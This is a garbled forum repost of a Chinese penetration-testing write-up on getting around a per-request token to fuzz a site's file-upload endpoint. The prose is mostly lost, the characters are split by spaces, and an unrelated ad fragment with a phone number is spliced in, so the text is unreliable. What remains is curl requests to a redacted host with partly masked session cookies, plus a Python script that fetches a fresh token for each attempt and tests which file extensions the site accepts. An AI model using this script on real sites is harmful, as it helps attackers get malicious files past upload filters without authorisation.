[7046] 2020-11-09_一次文件上传对Token的绕过

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2020-11-09_一次文件上传对Token的绕过 T o k e n E   2 0 2 0 - 1 1 - 0 9   r e b o o t O R Z 使 N o . 1 N o . 1 W e b B u r p s u i t 便 s q l P o s t p a y l o a d t o k e n T o k e n t o k e n s e s s i o n C S R F t o k e n , t o k e n t o k e n C S R F T o k e n N o . 2 N o . 2 T o k e n t o k e n t o k e n t o k e n :   .
t o k e n t o k e n 便 t o k e n t o k e n t o k e n t o k e n 便 f u z z i n g P O S T c u r l c u r l B u r p s u i t c u r l c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * '         - b   $ ' 8 5 1 4 2 e 4 8 c e 4 1 x x x x 7 c 8 2 b c = 6 d 2 d x x x x 4 d 8 0 a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 x x x x 5 B 2 C D 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b 8 3 6 9 3 x x x x 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 x x x x e d c 9 2 4 4 5 f '   $ ' h t t p s : / / x x x . x x x . x x x / a p i / f i l e / f i l e T o k e n ' c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   m u l t i p a r t / f o r m         - - d a t a - b i n a r y   $ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " t o k e n " x 0 d x 0 a x 0 d x 0 a 9 2 D 0 B 2 2 B 5 E E 6 D 3 x x x x x C E 5 C 8 1 4 0 C 6 0 6 C 8 A A 6 4 E 2 9 1 3 B 2 8 0 B B B 6 F F F 9 A 3 4 C 4 7 4 E 7 B 9 8 0 4 8 9 3 1 F 5 1 9 0 1 F E 3 9 x x x x x x 3 9 1 9 1 E 4 C A 6 9 8 0 8 E 2 8 1 A E 6 8 4 9 4 D 0 F 9 B 6 4 C A C 4 2 C x x x x 4 A E 9 B 4 D x 0 d x 0 a - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " f i l e " ;   f i l e n a m e = " t e s t . g i f " x 0 d x 0 a C o n t e n t - T y p e :   i m a g e / p n g x 0 d x 0 a x 0 d x 0 a G I F 8 9 a x 0 d x 0 a - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 - - x 0 d x 0 a '   $ ' h t t p s : / / x x x . x x x . x x / a p i / u p l o a d '
O K p y f u z z i n g T o k e n E   h t t p s : / / w w w . e a s y a q . c o m   1 0 亿 G o o g l e C h r o m e   广 7 2 0 2 0 B B C 6 7 0 稿     1 5 5 5 8 1 9 2 9 5 9     E E a n q u a n 0 9 1 4 E # e n c o d i n g : U T F - 8 i m p o r t   o s w i t h   o p e n ( " / U s e r s / r e b o o t o r z / D o c u m e n t s / / p y S t u d y W o r k S p a c e / T e s t / e x t . t x t " , ' r ' , e n c o d i n g = ' u t f - 8 ' )   a s   f :         l i n e s   =   f . r e a d l i n e s ( ) f o r   l i n e   i n   l i n e s :         f i l e T y p e   =   s t r ( l i n e ) . s t r i p ( ' n ' )         g e t T o k e n _ c m d   =   " c u r l   - i   - s   - k   - X   $ ' P O S T '                   - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d '   - H   $ ' C o n t e n t - L e n g t h :   0 '   - H   $ ' O r i g i n :   h t t p s : / / x x x . x x x . x x '   - H   $ ' D N T :   1 '   - H   $ ' C o n n e c t i o n :   c l o s e '   - H   $ ' R e f e r e r :   h t t p s : / / x x x . x x x . x x / u s e r / u p l o a d / 1 4 2 9 '   - H   $ ' C o o k i e :   8 5 1 4 2 e 4 8 c x x x x 8 1 6 7 c 8 2 b c = 6 d 2 d c d x x x d 8 0 a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 A 3 A 7 B 3 4 8 5 F x x x 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b 8 x x x 2 8 1 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 5 0 3 x x x 7 e d c 9 2 4 4 5 f '                   - b   $ ' 8 5 1 4 2 e 4 8 c x x x 8 e 8 1 6 7 c 8 2 b c = 6 d 2 d c d x x x a a e d 7 c 7 f c 7 9 d d a ;   J S E S S I O N I D = 1 B 9 A 3 A 7 B 3 4 8 x x x 9 3 9 0 C 4 2 A 4 7 D ;   c d e 3 b x x x 4 2 8 1 5 5 3 9 5 d d 6 8 = 4 b 2 d 7 c e 2 1 7 5 0 x x x 9 2 4 4 5 f '                   $ ' h t t p s : / / x x x . x x x . x x / a p i / f i l e / f i l e T o k e n ' "         r s _ 1   =   o s . p o p e n ( g e t T o k e n _ c m d ) . r e a d ( )         t o k e n   =   r s _ 1 . s p l i t ( ' " ' ) [ - 2 ]         p r i n t ( " T O K E N "   +   t o k e n   +   ' n ' )         u p l o a d F i l e _ c m d   =   " c u r l   - i   - s   - k   - X   $ ' P O S T '           - H   $ ' H o s t :   x x x . x x x . x x '   - H   $ ' U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 . 1 5 ;   r v : 8 2 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 2 . 0 '   - H   $ ' A c c e p t :   * / * '   - H   $ ' A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 '   - H   $ ' A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e '   - H   $ ' C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 '   - H   $ ' C o n t e n t - L e n g t h :   4 8 7 '   - H   $ ' O r i g i n :   h t t p s : / / x x x . x x x . x x '   - H   $ ' D N T :   1 '   - H   $ ' C o n n e c t i o n :   c l o s e '   - H   $ ' R e f e r e r :   h t t p s : / / x x x . x x x . x x / '           - - d a t a - b i n a r y   $ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 1 8 4 2 2 6 8 5 9 2 6 8 0 8 3 3 2 7 8 1 8 1 1 1 1 1 x 0 d x 0 a C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " t o k e n " x 0 d x 0 a x 0 d x 0 a " +   t o k e n   +         $ ' h t t p s : / / x x x . x x x . x x / a p i / u p l o a d ' "         r s _ 2   =   o s . p o p e n ( u p l o a d F i l e _ c m d ) . r e a d ( )         s t a t e   =   r s _ 2 . s p l i t ( ' " ' ) [ - 2 ]         i f   s t a t e   = =   ' o k ' :                 p r i n t ( " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n = = = = = = =   F o u n d   F i l e   T y p e "   +   f i l e T y p e +   "   = = = = = = = n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n " )         e l s e :                 p r i n t ( " f a i l . . . n " )

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则